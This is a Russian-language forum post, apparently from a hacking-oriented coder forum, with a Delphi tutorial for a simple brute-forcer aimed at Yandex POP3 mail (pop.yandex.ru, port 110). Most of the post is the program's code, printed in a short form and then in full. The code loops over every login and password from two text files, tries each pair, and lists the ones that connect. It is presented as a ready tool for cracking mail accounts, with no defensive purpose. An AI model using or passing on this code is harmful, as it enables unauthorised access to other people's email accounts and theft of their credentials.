Что нового
  • Что бы вступить в ряды "Принятый кодер" Вам нужно:
    Написать 10 полезных сообщений или тем и Получить 10 симпатий.
    Для того кто не хочет терять время,может пожертвовать средства для поддержки сервеса, и вступить в ряды VIP на месяц, дополнительная информация в лс.

  • Пользаватели которые будут спамить, уходят в бан без предупреждения. Спам сообщения определяется администрацией и модератором.

  • Гость, Что бы Вы хотели увидеть на нашем Форуме? Изложить свои идеи и пожелания по улучшению форума Вы можете поделиться с нами здесь. ----> Перейдите сюда
  • Все пользователи не прошедшие проверку электронной почты будут заблокированы. Все вопросы с разблокировкой обращайтесь по адресу электронной почте : info@guardianelinks.com . Не пришло сообщение о проверке или о сбросе также сообщите нам.

Будем писать самый простой брут POP почтовика yandex.ru(можно любой).

Lomanu4

Команда форума
Администратор
Регистрация
1 Мар 2015
Сообщения
1,184
Баллы
155

Программа будет работать со списком логинов и паролей из файлов logins.txt и passwords.txt Для работы будем использовать компоненты: Три Button с вкладки Standart Два Edit с вкладки Standart Memo с вкладки Standart OpenDialog с вкладки Dialogs IdPOP3 с вкладки Indy Clients IdAntiFreeze с вкладки Indy Misc С
начала настроем IdPOP3:
Autologin=true
Host=pop.yandex.ru
port=110
Код кнопки "Пуск":
Код:
procedure TForm4.Button1Click(Sender: TObject); var Login, Pass: TStrings; l, p: Integer; begin if Edit1.Text='' then Exit; if Edit2.Text='' then Exit; Login:=TStringList.Create; Pass:=TStringList.Create; Login.LoadFromFile(Edit1.Text); Pass.LoadFromFile(Edit2.Text); for l:=0 to Login.Count-1 do for p:=0 to Pass.Count-1 do begin IdPOP31.Username := Login.Strings[l]; IdPOP31.Password := Pass.Strings[p]; try IdPOP31.Connect; except end; if IdPOP31.Connected then begin Memo1.Lines.Add(PChar('Логин:'+Login.Strings[l]+' Пароль:'+Pass.Strings[p])); IdPOP31.Disconnect; end; end; Login.Free; Pass.Free; end;
Код кнопок выбора файлов logins.txt и passwords.txt:

Код:
procedure TForm4.Button2Click(Sender: TObject); begin if OpenDialog1.Execute then Edit1.Text:=OpenDialog1.FileName; end; procedure TForm4.Button3Click(Sender: TObject); begin if OpenDialog1.Execute then Edit2.Text:=OpenDialog1.FileName; end;
Код полностью:

Код:
unit Unit4;
 interface 
uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, IdAntiFreezeBase, IdAntiFreeze, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase, IdMessageClient, IdPOP3, StdCtrls;
 type TForm4 = class(TForm) 
Button1: TButton; 
Label1: TLabel; 
Label2: TLabel;
 IdPOP31: TIdPOP3; 
IdAntiFreeze1: TIdAntiFreeze; 
Edit1: TEdit; 
Edit2: TEdit; 
Memo1: TMemo;
 OpenDialog1: TOpenDialog; 
Button2: TButton;
 Button3: TButton;
 procedure Button1Click(Sender: TObject);
 procedure Button2Click(Sender: TObject);
 procedure Button3Click(Sender: TObject); 
private { Private declarations }
 public { Public declarations } 
end; 
var Form4: TForm4;
 implementation 
{$R *.dfm}
 procedure TForm4.Button1Click(Sender: TObject); 
var 
Login, Pass: TStrings; 
l, p: Integer; 
begin if Edit1.Text='' then Exit;
 if Edit2.Text='' then Exit;
 Login:=TStringList.Create;
 Pass:=TStringList.Create;
 Login.LoadFromFile(Edit1.Text); 
Pass.LoadFromFile(Edit2.Text);
 for l:=0 to Login.Count-1 do
 for p:=0 to Pass.Count-1 do 
begin IdPOP31.Username := Login.Strings[l];
 IdPOP31.Password := Pass.Strings[p];
 try IdPOP31.Connect; except end; 
if IdPOP31.Connected then
 begin Memo1.Lines.Add(PChar('Логин:'+Login.Strings[l]+' Пароль:'+Pass.Strings[p])); IdPOP31.Disconnect; end;
 end; 
Login.Free;
 Pass.Free; 
end;
 procedure TForm4.Button2Click(Sender: TObject); 
begin
 if OpenDialog1.Execute then 
Edit1.Text:=OpenDialog1.FileName; 
end; 
procedure TForm4.Button3Click(Sender: TObject);
 begin if OpenDialog1.Execute then
 Edit2.Text:=OpenDialog1.FileName; 
end; 
end.
 
Вверх